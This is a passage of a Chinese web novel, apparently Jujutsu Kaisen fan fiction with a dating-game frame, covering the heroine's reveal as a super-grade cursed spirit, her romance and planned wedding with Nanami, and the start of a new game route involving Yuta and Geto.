他定了定神,稳住呼吸:“好了,你忘了什么东西,我给你找一找……” 门被砰地一声关上,下一秒,七海建人就又被按在了门板上。 一切就像是场景再现,但又有什么不同了。 是心境不同了吗? 七海建人曲着膝盖,退无可退,只能微微仰头看她。两人鼻尖相抵,他能闻到她身上淡淡的香气。 “好了,开始吧喵。”她认真地说道。 七海建人茫然开口,重复了一遍:“开始什么?” “开始……亲我一百遍。”她的嘴角上扬,狡黠地说道。 他的身体僵住,刚要说她胡闹,但嘴唇张开时,被她找到了破绽。 她的动作太快了,小巧的舌尖灵活地从缝隙里钻进去,哧溜一下就把他舔了一口,像吃冰淇淋一样。 七海建人抖了一下,原本狭长的眼睛瞬间瞪得圆溜溜,让今野桃想起在电视里看过的受惊的松鼠。 “你、你……”他好半天说不出一句完整的话。 今野桃弯着眼睛,瞳孔中流露出属于猎食者的危险光芒。她的手按在他的肩膀上,两人之间几乎没有一丝缝隙。 “你不亲我,那我亲你也是一样的喵。”她撩起他垂下的金色刘海,露出光洁的额头。没有刘海的少年看起来成熟许多,也帅气许多。她的手指没入发丝,然后用力往下一拽。 不等他回答,她就再次亲了上去。 这一次的吻,是热烈的、是暧昧的。她品尝着他的每一寸,蛮不讲理又横冲直撞。他一步一步后退,丢盔弃甲到彻底投降。 可她还是没有停止。 猫咪在尽兴玩弄猎物之后,终于决定将他彻底吃掉。尖锐的牙齿咬破了娇嫩的唇瓣,摩擦的时候尝到了淡淡的血腥气。 这股气味像是某种催生剂,把气氛燃烧得更加旺盛。 终于,一直坚守着摇摇欲坠的底线的人扔掉了理智,决定和她一同沉沦。 他的手不知不觉地抬了起来,揽住了她纤细的腰肢。 她的膝盖顶在门上,给差点站不住的少年一个支撑。 意识朦胧间,他听见她说道: “在我死去之前,你不会死的。”她捧着他的脸,在他的两颊上落下细密的吻,“我们会一起,彼此相爱直到生命尽头。” 七海建人闭上了眼,让自己完全靠在她的身上。 他喃喃道:“等我死后,小桃就忘记我吧。” 去爱上其他人,去迎接新的生活。 【七海建人好感值:100】 【七海建人—恨相逢(HE) ——我是不知晦朔的朝菌,你是有五百岁春秋的冥灵。为这短暂的相遇,我甘愿燃尽自己。】 第90章 小桃的身份不知道怎么,竟然被泄露出去了。 大概是因为她长得慢,在同龄人都变成可靠的大人后,她仍旧是一幅少女模样。 “其实这个根本就不能作为依据吧?明明五条悟也没有变化啊喵!长得好看有错吗?”今野桃嚷嚷,抱着手臂非常不满。 “没错没错,那些烂橘子就是嫉妒!”五条悟非常赞同她的说法,“嫉妒我们长得好看!” 七海建人穿着笔挺的西装,往那一站,跟今野桃看起来差了有十岁不止。不过他的表情倒是没什么变化,显然这一切早就在他的预料之中了。 “我们接下来要做什么。”他看向今野桃,“不管你有什么样的决定,我都支持你。” 他不站任何阵营,只和今野桃在一起。 “我认为,小桃不可能是咒灵吧。”夏油杰摸着下巴说道,“我完全没办法收服她诶。” 已经成为特级咒术师的夏油杰,就还没有遇到收服不了的咒灵。哪怕是最近新冒出来的所谓天灾级别的咒灵,在他那里也没过上几招,就被他搓成了丸子,一口一个。 “大胆喵!”今野桃眉毛都竖起来了,“你竟然还想收服我!” 夏油杰熟练地滑跪,张口就是求饶:“我错了,请小桃大人原谅!” 这都是挨打挨多了,练出来的求生技。 “我是绝对不可能听从总监部那些人说的话喵!”今野桃冷酷地说道,“如果他们非要来纠缠我,那就别怪我不客气了。” 还敢下达什么要她束手就擒的命令,说什么让她主动赴死,她看那些人可真是活腻了。 七海建人握着她的手,以一种十指交缠的姿态,不动声色地表明自己的立场。 他不会说什么好听的话,只会用行动展示。 他会一直在她身边,不论如何都不会离开。 “既然你不是人类,那你是什么东西?”五条悟绕着今野桃打转,一双蓝色的“六眼”上上下下地打量她,“完全看不出一点破绽诶!” “那当然,我才不是那么丑的咒灵喵!”今野桃得意洋洋地说道,“我其实是……” 轰隆! 天空炸开了一声巨大的雷响,仿佛要把天炸出一个窟窿。 不,好像已经炸出窟窿了。 在所有人惊诧的目光中,一块黑色的巨大幕布出现在了天上。 “这是什么?高科技?” 夏油杰放出了一个咒灵去试探,然而那只咒灵触碰到了幕布后,直接就被吸走了。他的脸色有点难看,低声说道:“咒灵和我的连接断开了。” 看起来这玩意有危险。 有黑色的雾气出现在了幕布之上,它们扭曲缠绕,变幻成各种形态,看着就不是什么好东西。 “难道是什么特级咒灵?”五条悟摘下了眼镜,笑道,“胆子还挺大啊。” 今野桃没说话,莫名的,她有点不太好的预感。 这玩意儿……怎么看着这么眼熟? 一个低沉又带着些许磁性的女声响起,为这一幕配上了旁白。 【在这个宁静而又普通的黄昏,毁灭世界的超特级咒灵,诞生了。】 哈?毁灭世界?! “只听说过一级二级和特级,还第一次听说超特级呢。”五条悟吐槽道,“这算什么,战力膨胀?” “难道是比所有特级咒灵加一起还要厉害?”夏油杰心痒痒的,不知道他能不能收服超特级咒灵。 旁白继续响起,伴随着幕布上的场景变化。 浓稠的黑雾在如火山爆发那样猛烈地炸开后,又急剧收缩,最后凝聚,在众目睽睽之下,一只白皙的手从黑暗之中伸出来,朝着天空虚虚地握了握。 她好像要把整个世界攥在手里。 几个呼吸后,超特级咒灵诞生了。 “小桃?!!” 惊呼声响起,大家不约而同地看向了身边的女孩。她眨了眨眼睛,随后发出很假的疑惑声:“什么?竟然是我吗喵?” ……别装了,真的好明显。 巨大的疑惑浮现在众人的心里。显然,画面中的咒灵就是小桃。那么,现在展示出来的,是她形成的时候的场景吗? “我就知道!”有人拍着桌子大喊,“那个咒灵,必须立刻祓除!” “没错!真的太可怕了!” “可是,她好像有自我意识,并不像普通的咒灵那样……” “怎么能容忍咒灵和人类共处?万一她失去控制了怎么办?” 五条悟摸着下巴,啧啧说道:“没想到我竟然和超特级咒灵一起上学,现在还一起上班,真是太——不可思议了!” “真的不能让我研究一下吗?”夏油杰诚恳地说道,“我就看看!” 今野桃对他微微一笑,然后一巴掌把不知好歹的咒灵操使按在 了墙上,好半天都抠不下来。 向来恪守礼仪和尊重前辈的七海建人目不斜视,仿佛什么都没看见。 天幕上的画面不受众人影响,依然在继续播放。 【诞生于人类爱与恨的她,是世间最强的咒灵。】 夏油杰一边吐血一边对五条悟说道:“咳咳……前段时间我收服……的那个咒灵,据说诞生于人类对大海的恐惧。” “人类真的太脆弱了。”五条悟说出了大实话,“现在好了,连爱与恨都凝聚出了咒灵。那岂不是说只要人类还存在情感,这个咒灵就永远不会灭亡。” 他说对了。 【当她爱着人类时,她是人类最好的朋友。】 画面中,超特级咒灵帮助人类击败了千年前最强的敌人,诅咒之王两面宿傩;帮助人类进化出了最想要的特殊能力,从此不再沦为羔羊;帮助幼小的咒术师离开囚笼,获得新生。 所有人都瞪大了眼睛,发出了惊叹声。 “不是,这也行吗?!”五条悟喃喃道,“随随便便地就、就让人有了术式?!” 猛然间,他们想起入学时,今野桃告诉夜蛾正道的关于她的术式——有求必应。 后来因为她几乎没有用过,大家都笑话说她毫无用武之地。 原来,这个术式竟然这么强大?! 已经可以预料到,即将要掀起的腥风血雨了。总监部不可能放任这样一个存在威胁到他们的统治。 “这下有点棘手了啊。”五条悟沉吟着,“五条家好像很难护住你了。” 然而女孩的脸上并无一点焦虑或害怕,反而若有所思的样子。 “娜娜米会害怕吗喵?”她歪了歪头,看向专注望着她的男人。 男人的神态放松,没有回答,只是反问道:“你会把我丢下吗?” 她是咒灵,而他是人类。明明他应该希望她丢下他,这样他就能在与她对立的阵营中高枕无忧。 “不会哦。说好了,我们会永远在一起,直到娜娜米死去哦喵。”咒灵抓紧了他的手。 于是七海建人云淡风轻地回道:“那就足够了。” 就算是地狱,也要一起去。 下一秒,天幕中的画面又变了。 【当她恨着人类时,她是人类最可怕的仇敌。】 特级咒灵的手掌穿过咒灵操使的胸口,掏出了他的心脏;被众人寄予厚望的“六眼神子”从天空坠落,再无踪迹;整个咒术界仿佛乐高搭成的玩具,被她轻而易举地推倒了。 所谓的“御三家”被她一个个拆掉,只留下一片废墟。她高高在上地俯视着所有人,像玩弄蚂蚁一样碾死他们。不管是咒术师还是普通人,她都一视同仁。 开着窗的屋子里,气氛一片死寂。 他们的视线难以避免地落在了没说话的女孩身上,她嘴角的弧度丝毫未变,在此时看起来竟然有点可怕了。 ——因为她推倒东京塔、荡平总监部的时候,也是这样笑的。 “真不错,学妹还对学长‘掏心掏肺’。”五条悟感慨道。 有时候不得不佩服五条悟的大心脏,好像什么事情都不会难倒他。 “那上面放映的恨明显不是我们这个世界的事情啊!”他耸了耸肩膀说道,“我们的东京塔还好好的呢。” 而且,他很清楚,天幕里的咒灵和他认识的今野桃,完全是两个存在。即便她们有着一模一样的面容。 那些叫嚣着要抓住超特级咒灵的人都沉默了。怎么抓?派谁去抓?最强的两个咒术师都死在了她的手里,全世界还有谁是她的对手? “要不然……我们就当不知道吧……”干巴巴的声音响起。 “对对对,什么超特级咒灵,咒术界根本就没有这个判定啊,既然她会思考、会说日语,那当然就是人类了啊哈哈……”附和的人飞快跟上。 “诶对了,我记得、记得她不是有个恋人吗?是咒术师对吧?这说明她还是很亲近我们咒术师的嘛,马上去请那个咒术师来!” “那对那个咒术师的通缉和……” “什么通缉!根本没有的事!” 不就是诞生于爱和恨的咒灵吗?那只要让她感受到爱,不就行了! 如果那个男人不行,没关系,世间千千万万种男人,喜欢什么类型的就说,他们绝对能满足! 天幕中,超特级咒灵坐在断壁残垣上,撑着脑袋发呆。 【她把整个世界毁灭,却仍然没能得到想要的东西。】 她想要什么? 画面一帧一帧闪过,如浮光掠影。 咒灵操使笑眯眯地对她伸出手说:‘到我这里来吧,我会爱你的。’ ——然后他将刀子捅进她的心脏。 天生持有反转术式的女人点燃香烟,呵出一口气:‘爱和恨,是不能抵消的。’ 于是她恍然大悟。 她想要什么? ——她想要爱。 想要和所有人对她的恨那样沉重的爱。 可是没人会爱她,没人会爱一个咒灵。 所以她变本加厉,踩着无数尸体登上了王座。 【她说,这个无趣的世界,不需要未来。】 画面里的世界破碎得像被人暴力撕扯的画卷,已经无法拼凑了。而罪魁祸首也难以逃脱灭亡的命运,走上了毁灭的道路。 她诞生于人类的爱恨,人类灭绝的那天,也是她消散的那天。 而直到最后一缕黑雾彻底消散前,她仍然在不甘心地呢喃: 想要……想要爱…… 【她怀抱着从未实现过的愿望坠入了时间的长河。】 画面逐渐变暗,仿佛暗示着故事走到了终末。就在众人看着这个荒诞的结局发呆时,一点亮光再次出现。 不是吧,还来?!当毁灭世界是闹着玩呢! 草木茂盛的花园里,一只黑色的猫咪突兀地出现。它眨了眨眼睛,黑色的瞳孔中闪过一丝茫然。 【然后,她变成了一只猫。】 啊?! 90-100 第91章 这下可就不能抵赖了吧! 但比起追究小桃,他们还有更重要的事情。 “杰啊,你上次还说人家忧太是骗女人的家伙,现在看来,你才是啊!”五条悟对某个咒灵操使指指点点,“欺骗单纯咒灵的感情!” 七海建人不语,只是一味地用高大的身体挡住自己娇小的恋人。 夏油杰:…… 忍气吞声.jpg 他低声下气地对活动着腕关节的某个超特级咒灵说道:“误会,都是误会。” 所以能把刀收收吗? 好在旁白及时出现,救了他一命。 【变成猫咪,就能有很多很多爱吗?】 这是个好问题。 有人喜欢猫,也有人讨厌猫。小黑猫走在街上,有人友善地对她发出“咪咪”的夹子音,也有人无缘无故地走过来只为了踹他一脚。 小黑猫站在高高的墙上,冷眼看着下面发生的一切。 “啊!是娜娜米!”灰原雄喊道,“绝对是娜娜米吧!” 只见一个约莫两三岁的金发小孩茫然地站在马路上,孤独的身影吸引了旁人的围观。 他没能等到好心人,而是被一个中年男人盯上了。 “不好啊!”灰原雄紧张得快要咬手帕了,“危险,娜娜米!” 七海建人看着天幕上的场景,脸上同样迷茫。 他的记忆中没有这一段。是忘记了?还是被抹去了? ‘小朋友,你一个人啊?’中年男人笑眯眯地走过来,‘你的爸爸妈妈呢?’ 幼年七海显然对这个陌生男人是警惕的,他后退了两步,转身想跑。 但下一秒,他就被捞了起来。中年男人褪去了虚伪的外壳,露出了下面的真实的残忍。 ‘小兔崽子,还想跑。’他当即想要脱下外套,把这三头身的小孩包裹进去。 还不等他行动,一声凄惨的尖叫从他的喉咙里挤了出来。 ‘啊——!!’ 这一声尖叫石破天惊,把周围的人都喊了过来。 ‘怎么了怎么了?发生什么事情了?’ ‘是地震了?’ ‘还是有人出事了?’ 就在大家议论纷纷的时候,一个女人拨开人群,冲了过来。 ‘放开我儿子!’她朝男人扑了过去,一把夺过了惊恐的孩子,‘抓人贩子了!!’ 被猫咪狠狠地在脸上抓了一下,好像眼睛都看不见了的男人听到这句话,心道不妙,转身就想跑。 忽地,好像有什么东西重重地在他的脑袋上砸了一下,他只感觉大脑翁地一声响,人就失去了知觉。 在众人的目光下,黑色的猫咪大摇大摆地踩在了男人的脑袋上,下 巴抬得高高的,显得骄傲又得意。 她如愿以偿地得到了大家的赞美。 ‘好厉害的猫啊!’ ‘这是谁家养的猫?太有灵性了吧!’ ‘谢谢猫咪大人!’ 差点失去儿子的母亲把怀里的小孩上上下下检查了许多遍,终于确认了他的平安。 她重重地松了一口气,抱着儿子跪在了黑猫的面前,虔诚而激动地说道:“太感谢您了,如果不是您,我真不知道该怎么办!” 猫咪的鼻子颤了颤,发出了一声拉长的轻叫:“咪——” 大概是在说没关系吧。 她低头,舔了舔金发男孩的脸颊。他懵懂地看着她,圆圆的眼睛里是一片揉碎的阳光。 她看上去很喜欢这个孩子。 母亲的脸上终于露出了些许笑容,她相信,这孩子得到了猫咪的祝福。 虽然猫咪没有索要报酬,这位母亲仍然为猫咪准备了一顿丰盛的大餐作为谢礼。从此,猫猫神的名声也传了出去。 黑猫成为了附近人最喜欢的小动物。在这个年头,社会治安并不稳定。然而这个街区的住户却从未遇到过入室偷窃或抢劫之类的事情。 大家都知道,是因为有猫猫神在保佑大家。他们亲眼见过,那些坏人被她当做老鼠一样清理出去。 可惜的是,猫咪很久很久没有见过那个金发少年了。因为差点被拐走,他被爸爸带到了国外,和长辈们生活在一起。 而这一段并不愉快的记忆,也随着时间的流逝慢慢淡去,最终再也想不起来。 七海建人怔怔地看着今野桃,单薄的眼皮微微抖动,最后只是轻声开口道:“你……没有跟我提起过。” “哎呀,有什么好提起的啦喵。”今野桃拍了拍他的手臂,“又不是什么很快乐的事情喵。” 对于小孩来说,忘记当然是最好的。 七海建人没说话了。他的心好像泡在温水里,微微发胀,又带着一丝酥酥麻麻。好像有一只看不见的猫爪,用细而尖的指甲轻轻挠动。 “好感动!”灰原雄吸着鼻子,眼圈红红的,“这就是报恩吗?” “要这样说的话,是‘人的报恩’吧。”家入硝子笑出了声,点评道,“比《猫的报恩》好看。” 可惜,七海建人已经不是当年的他了,在社会上摸爬滚打后,他终于练就出了更厚的脸皮,这种轻描淡写的语言刺激无法让他再面红耳赤。 【人类的真心让她品尝到了“爱”的味道。它是甜蜜的、柔软的,叫她欲罢不能。】 【她不再是那个被人畏惧的咒灵。】 【她成为了神明。】 时光荏苒,过去年轻的母亲也变得成熟起来,她越来越思念自己的孩子。于是已经长大的少年跨过千山万水,又回到了这片土地上。 他拎着行李,走进了阔别多年的屋子。母子激动地抱在一起时,他们不知道,在他们的头顶,一只猫咪正蹲在瓦片上,悠闲地眯着眼睛,长长的尾巴在身后甩动。 镜头逐渐拉远,将这温馨的一幕定格。 一切结束了。 黑色的幕布散去,天空又恢复了原状。好像它的出现只是为了交代一下超特级咒灵的身份,把即将再次走上毁灭道路的世界拨回正轨。 如果它有实体,在听到总监部想要通缉今野桃的时候,一定会汗流浃背吧。 “咦?就没有了吗?”五条悟遗憾地说道,“还挺有意思的。” 他是唯恐天下不乱。 校门口,那些带着赔礼的咒术师们已经赶到了。 但今野桃一个都没见。她拉着七海建人的手,蹦蹦跳跳地想要回宿舍。至于那些人,当然交给五条悟和夏油杰啦。她对总监部的示好不感兴趣,但对他们应该有所帮助。 只要不让人来打扰她,那些利益给出去也无妨。 “哦对了,忘记跟你们说正经事了喵。”今野桃对他们比了个wink,“我和娜娜米下个月结婚,你们要做好准备哦喵。” 什么?!结婚?!好陌生的词语! 在众人呆滞的目光中,今野桃笑吟吟地说道:“记得随礼。” “随礼……?”夏油杰喃喃道,“那我有机会拿到回礼吗?” 一直单身的学长和学姐们:…… 七海建人任由今野桃拽着,亦步亦趋地跟在她身后。 “你好像不太高兴。”可爱的恋人依偎在他的手臂上,歪着头看他,“为什么呀喵?” “不是不高兴。”已经变得越发沉稳可靠的男人回道,“只是遗憾没有早点想起你。我以为,你帮我的那一次,是我们第一次见面。” 明明妈妈有提起过的,但他毫无印象。 “妈妈说是邻居家的小孩,我就没在意。”他小声说着,为自己的马虎而懊恼,“如果妈妈说差点被拐走的人是我,或许我就想起来了。” “妈妈也是为你好啦喵。” 两人回到了宿舍,她坐在床边上,慢悠悠地说道:“你那个时候还吓得发了很严重的烧呢,把妈妈也吓了一跳喵。” 七海建人恍然大悟。 今野桃拍了拍身边的位置,在他毫不设防地坐下来时,拉住了他的领带。 只是稍微用了一点力,男人就顺着她的力道伏了下来。根据猫咪在上的原则,两人在双人床上滚了一圈,最后女孩成功压在了上面。 午后的阳光斜斜地洒进窗户,皱巴巴的床单上清晰地投射下两人交叠的身影。女孩跨坐在男人的腰上,黑色的发丝好像也染上了和男人一样的金色。 外套不知道什么时候被脱下了,把衬衫的下摆撩了起来,露出一截结实的腹肌。鼓起的肌肉又弹又韧,像吸铁石一样把她的手吸在了上面。 他没忍住,发出了细碎压抑的声音。 但他没有阻止她。 他定定地看着她,向她张开了怀抱,把天真又残忍的咒灵纳入身体。咒力纠缠,然后融合在一起,从此再不分你我。 人生苦短,而爱永恒…… 【恭喜玩家达成五次HE结局,解锁<自由模式>。玩家在进入游戏时,可以选择本周目的攻略对象,与该对象之间的特殊事件发生的几率将大幅度提高!】 【若不选择本周目的攻略对象,将进入<自由模式>。该模式下,特殊事件将随机发生,并且不指定对象。当条件满足,即可出现结局。】 【请玩家谨慎游戏!】 最后一行字加粗加黑,显然意有所指。 今野桃沉吟片刻,脑门上冒出一个小灯泡。 “我懂了,可以N(消音)?” 第92章 N(消音)当然是开玩笑的,她可是纯爱! 今野桃退出游戏,把HE记录发给了委托人,随后就往床上一倒。 拿到了五个HE意味着她从游戏里赚了五十万美金,足够她花用很长一段时间了。长久以来压在身上的压力骤然减轻,好像空气都变得清新许多。 之前被游戏折磨得死去活来的痛苦也因为HE而变淡,惰性慢慢占据了她的心神。今野桃想,要不然休息一段时间吧。 仔细算算,她在这游戏上花费的时间不少了。 躺在柔软的被褥里,今野桃睡了相当舒服的一觉。醒来后,她还颇有点不知今夕是何夕的感觉。 打开手机看了看,委托人已经发来 了消息。随着委托金的一同送来的,还有一封短信。 委托人用诚恳的语气,下达了新的需求。 大意就是: ——首先恭喜你达成了五个HE并解锁了新的模式,新模式的测试也一并拜托你了。 ——在自由模式中,希望你可以尽可能地取得更多攻略对象的好感值。 今野桃啧了一声,正要不满时,往后翻了一页。 ——在自由模式中,每取得一名攻略对象60的好感值,则追加一万美金。若到达80好感值,则继续追加一万美金。 ——同时,打出一个HE结局仍然会支付十万美金作为报酬。 ——上不封顶。 今野桃噌地一下从床上坐了起来。 什么委托人,这是她的财神爷!! 这游戏一共数十个可攻略对象,如果一网打尽,那岂不是能一次赚取上百万美金! 今野桃心神荡漾了一下。 不过她很快就回过神来。 贪多嚼不烂,这游戏没这么简单。更何况,不是所有攻略对象都在一条时间线上,禅院甚尔和五条悟相差了十来岁,和五条悟的学生那代差得就更远了。想一口气全吃下,太难。 今野桃仔细斟酌,终于确定了自己将要进入的时间点。 不能太早,也不能太晚。 而且对于难搞的角色来说,她需要花费更多的时间。 比如五条悟…… “今天要来的转校生的事情,你们听说了吗?”直立行走的熊猫声音低沉地说道,“听说他把四个同学塞进了置物柜。” 走在旁边的女生毫不在意地问道:“他杀人了?” “金枪鱼蛋黄酱。”用围巾遮住下半张脸的咒言师语气淡漠。 他们对于新同学的到来并不关心,但他们的老师很高兴,就差唱起歌来了。 “热烈一点嘛!”五条悟耸了耸肩膀,为自己难搞的三个学生,“算了,也行吧。” 很难想象,以前总是让别人无奈的五条悟在成为老师后会对学生如此宽容。 “可以进来啦。”他侧过头,对站在门外的新生喊道。 新生似乎也感觉到了大家对他的不欢迎,他低下头,一双下垂眼显得越发可怜。 会被讨厌也是意料之中的事情啊。 拉开门,他一步一步地走进了教室。他没有注意到陡然变得紧张的气氛,也不知道自己不自觉散发出来的咒力有多可怕。他只是低着头,用怯懦的声音开口道:“我叫乙骨忧太……” 咚! 武器的尖端没入他脑袋边上的墙壁中,乙骨忧太惊觉,自己的三个同学好似不是不欢迎自己了。 他们想杀了他!! “啊,忘了说。”五条悟挠了挠头,开口道,“这里是为祓除诅咒而学习诅咒的地方,都立咒术高等专门学校。” 啊? 乙骨忧太表情呆滞,眼泪都要掉下来了。 “老师……你怎么……不早说啊……”他张了张嘴,委屈极了。 没有人喜欢他,没有人在乎他,在这样的学校里,他该如何生存下去呢…… 只有里香,他只有里香了…… “哦呀,快离他远一点哦。”五条悟勾起嘴角,笑吟吟地说道,“不然你们要后悔的呢。” 下一秒,一双白色的骨爪从乙骨忧太的身后伸了出来,可怕的诅咒女王咆哮着,向三个学生抓了过去。 “不准……欺负忧太!” 恐怖的咒力弥漫开来,乙骨忧太慌张地想要抓住咒灵,却完全没有办法控制它。 它一巴掌将熊猫甩飞出去,两行鼻血从玩偶的脸上流了下来。 然后它抓住了禅院真希的脚,重重地把她砸在了桌椅上,只听咔嚓几声,桌椅变成了碎片。 狗卷棘还在斟酌自己该说什么,诅咒女王的拳头就已经到了他的头上。 太快了,像一阵龙卷风,迅速席卷了整个教室。 “做点什么啊!五条老师!”熊猫在地上滚来滚去,一边用身躯为同学挡住攻击,一边自己也在躲闪。 五条悟优哉游哉地旁观着,甚至还有闲心玩手机。他的手指在键盘上敲击着,好似沉浸在了其中。 救命啊——!! 终于有人听见了他们的呐喊,障子门被用力扯开,有人喘着气跑了过来。 “够了,请停下来吧!”有人从身后抱住了乙骨忧太。 温暖的、带着淡淡香气的怀抱,如镇静剂一般,让他激荡的情绪迅速平静。那些恐惧和慌张像死皮一样被修剪掉了,除了心跳快了一点,乙骨忧太一直皱紧的眉头也在不知不觉地松开。 察觉到了他心情的变化,诅咒女王跟着停下了。它迷茫地绕着乙骨忧太转了个圈,巨大的爪子试探性地抓向来人。 对方不仅没有推开它,反而握住了它的一根手指。 “辛苦你了。”那人语气轻柔地说道,“这里是很安全的,不要怕。” 诅咒女王无声地消失于空气之中,但所有人都知道,它没有离开。 啪啪啪。 五条悟鼓起掌来。 “我就知道,桃酱的术式对忧太也有用呢。”他愉悦地说道,“完全在我的预料之中!” 真的吗? 三个挨过打的学生向他投去了不信的目光。 “五条老师不会是把小桃老师喊来救场吧?”熊猫故意这么说道,哪怕他知道以五条悟的实力,对付这个诅咒并不难。 “哈哈,被你发现了呢。”五条悟长长的手臂一搭,将来人勾住,拉到了身边,“不过我相信,这点小事难不倒桃酱的,对吧?” 今野桃踉跄了两步,又好笑又无奈地叹了口气,对重新变得有点紧张的男生说道:“忧太是吗?我叫今野桃,是你们的心理老师。你可以叫我小桃老师。” 离开了怀抱变得有点恍神,乙骨忧太怔怔地点头道:“小桃老师。” “我刚刚对你使用了我的术式,效果是镇定和安神。”今野桃试图给五条悟挽回一点形象,“你们放心吧,这是我和五条老师早就商量好的,只是因为我中途有点事,稍微耽搁了一下,不好意思。” 其实是五条悟给她晚说了十来分钟,这才让她急匆匆地赶来。 “五条老师,如果没有别的事情,我就先走了。”今野桃不着痕迹地瞪了他一眼,拍了拍他按在自己肩膀上的手背。 五条悟故作吃痛地缩回手,摇头晃脑地说道:“唉,桃酱也变了,没有以前可爱了。” 以前? 熊猫给疑惑的新生解释:“小桃老师以前也是五条老师的学生,而且还是他带的第一届呢。” 他看着她从一个孩子长到现在的亭亭玉立,她见证了他面对学生从生疏乃至于无措变得游刃有余。 “因为小桃老师的术式没什么攻击性,所以毕业后小桃老师就留在高专当心理老师了。” 这样啊…… 模样美丽又温柔的女老师在离开的时候路过乙骨忧太,悄悄对他眨了眨眼睛。 他只感觉有什么东西碰了碰他,反应过来的时候,一颗糖果就落在了他的掌心。 淡淡的香气飘远了,最终彻底消散。 “嗯哼,回神了哦。”五条悟轻轻推了乙骨忧太一把,让他走进了三个同学之中,“下午的咒术实习,忧太和真希一组,熊猫和棘一组。” “诶……” 教室里的声音逐渐听不见了,今野桃活动了一下四肢,打开了好感值面板。 【乙骨忧太好感值:40】 她浅浅地笑了笑。 果然是天真纯洁的学生啊,一点点善意就能涨这么多。 再往上,是熊猫的50、禅院真希的55。但出乎意料的,好感值最高的不是最先攻略的五条悟,而是狗卷棘。 高达70点。 除此之外,还有一个夹杂在中间的攻略对象。 【夏油杰好感值:58】 比五条悟的62稍微低一点点。 踩着黄昏的余晖,今野桃回到了家中。布下了结界的屋子里,一个男人的身影靠在窗边。 他神态自若地喝着茶,看见主人回来,丝毫没 有擅闯民宅的歉疚。 “下班了呀,小桃。”他笑眯眯地朝她招了招手,“来这里。” 今野桃耷拉下肩膀,犹豫地挪动着脚尖,在十几秒后,还是朝他走了过去。 “真乖。”他托起她的手腕,在上面落下了一个吻。 血色的阳光给他镀上了一层不详的阴影,被称为极恶诅咒师的男人用诱哄的语气说道:“告诉我,高专今天是不是来了一个新生?” 见今野桃抿着嘴不说话,他靠近了一点,睫毛在眼下投射出蛊惑的影子。 “你不会瞒着我的,对吧。” “毕竟,我们可是共犯呢。” 第93章 夏油杰第一次见到今野桃,是在一处被废弃的游乐场。和她搭档的是一个个子很矮的女生。她们大概是实力不够,所以应对得很艰难。 想来也是吧,毕竟这两人都只有二级呢,而且还是辅助的术式,如何能打得过这只一级咒灵呢。 “加油啊!”汗水不断地从额头流下,却仍然遮掩不住她美丽的面容,她努力地给同伴加油打气,“这可是我们离开老师的第一次独立任务!” 然而矮个女孩只顾着拼命摇头,眼泪像是没关紧的水龙头:“不行的,我不行的……” 她害怕了。 “小桃,我想回去……”矮个女孩跪在地上,止不住地颤抖,“我不想做咒术师了……” 还稚嫩的小桃脸上满是茫然,不知道该说什么才好。 “你……你要不然先休息一下吧。”她低声道,“我来试一试看能不能祓除这个咒灵。” 按照常理来说,二级咒术师是可以祓除一级咒灵的。前提是,要有和咒灵对抗的勇气。 她深吸了一口气,举起了手中的弓箭。箭尖冒出一点光芒,裹挟着风声朝咒灵飞去,狠狠扎在了咒灵的身上。 咒灵发出了痛苦而愤怒的嚎叫声。 攻击是有用的,但杀伤力太低了。 夏油杰抱着手臂,冷漠地垂下眼睑,听女孩公开自己的术式以换取更大的增幅。 “我、我的术式是赐福,能、能短暂赋予对象某种属性。”她的声线有点不稳,但勉强还能维持,“我赋予我自己更强的力量,以及更多的勇气。” 她喃喃自语。 “我可以,我可以的。”仿佛有一股无形的力量注入到了她的体内,她再次举起弓箭时,手平稳了许多,“我绝对不会丢了五条老师的脸!” 夏油杰的眼皮抖了一下。 可惜,二级就是二级,说不定这个二级都是刚刚升上去的。 咒灵被激怒了,它的触手到处挥舞,在地上锤出一个又一个的大坑。很明显,如果挨了它一下,这两人绝对要受重伤。 矮个女生发出一声尖叫,用力推了一把面前的同学,转身拔腿就跑。 可怜的小桃露出不敢置信的模样,一滴眼泪要掉不掉地缀在睫毛上。 “我如此好心,怎么会看可怜的小咒术师陷入险境呢。”夏油杰作出慈悲模样,从楼上跳了下来。 在她的注视中,轻松祓除了这个咒灵。被抽取出来的核心化作一颗咒灵玉,在他的指尖转动。他把玩着咒灵玉,含笑看向跌坐在地上的女孩。 “你没事吧?”他温柔地说道。 女孩迟疑地点头,声音细如蚊蚋:“我没事,谢谢您……” 看样子果然是新生,接受的知识还不够多,并不认识他呢。 夏油杰心中感叹着,就连他这个如此有名的诅咒师都没认出来。 不过这也是好事。 “我好像听你说,你的老师姓五条?”他朝她伸出手,轻柔地将她扶起来,打量着她漂亮的脸蛋,“是叫五条悟吗?” 女孩的眼中闪过一丝惊讶,随后又了然了。 “是的。”她眉眼舒展地开口道,“您认识五条老师吗?” 夏油杰弯着眼睛,一派道貌岸然:“是啊,我当然认识你的老师,我们当初……可是好朋友呢。” 然而,女孩不仅没有露出亲近的神色,反倒是愣住了。她所知道的,比他想象中要多。是悟曾经在她面前提起过他吗? 明明没见过他,却在听见他是五条悟的好友后,立刻反应过来了。 “您是……”她咬了咬嘴唇,怯怯地说道,“是、是夏油学长吗?” 很聪明的女孩。在得知自己的身份后,努力想要拉近关系啊。是怕他杀了她吗? “是的呢。”夏油杰慢悠悠地说道,“害怕了?” 被称为极恶诅咒师的他,可是凶名在外呢。 女孩的手无意识地绞着,她低着头眼神躲闪,脚尖在地上细微地碾动,这些小动作都充分标明了她的畏惧。 可是…… “我不害怕。”她骤然抬起头,鼓起勇气说道,“我从前没有见过您,只听过您和五条老师的事情。但我相信自己见到的,不论如何,是您帮助了我,让我逃离了危险。” 夏油杰定定地看着她。 真是个不错的好苗子。他伸出手,将她的乱发拨到了耳后,亲昵地说道:“既然如此,要不要考虑离开咒术高专,来盘星教呢?” 女孩瞪大了眼睛。她的脸上浮现出了淡淡的红色,像初春的樱花那样动人。 “谢、谢谢您的看重!”她后退一步,用力鞠躬,拉开两人距离,“不过我还是想要追随五条老师!” 她没说自己想留在咒术高专,而是想留在五条老师的身边。 夏油杰遗憾地说道:“那好吧。”狡猾的小姑娘。 女孩不好意思地对他笑了笑。这个笑容又羞又怯,浅浅扬起的嘴角像一弯新月,自眼角眉梢流露出来的开心颇具有感染力。一滴汗水滑落,让人无端想到娇嫩花瓣上的露珠。 原来她也曾对他这样笑过啊。 后来是怎么变成现在这个样子的呢? 夏油杰沉思着,找到了答案。 好像是……自己通过从她那里得到的消息,抢先一步设下陷阱,伤害了几个咒术师吧? 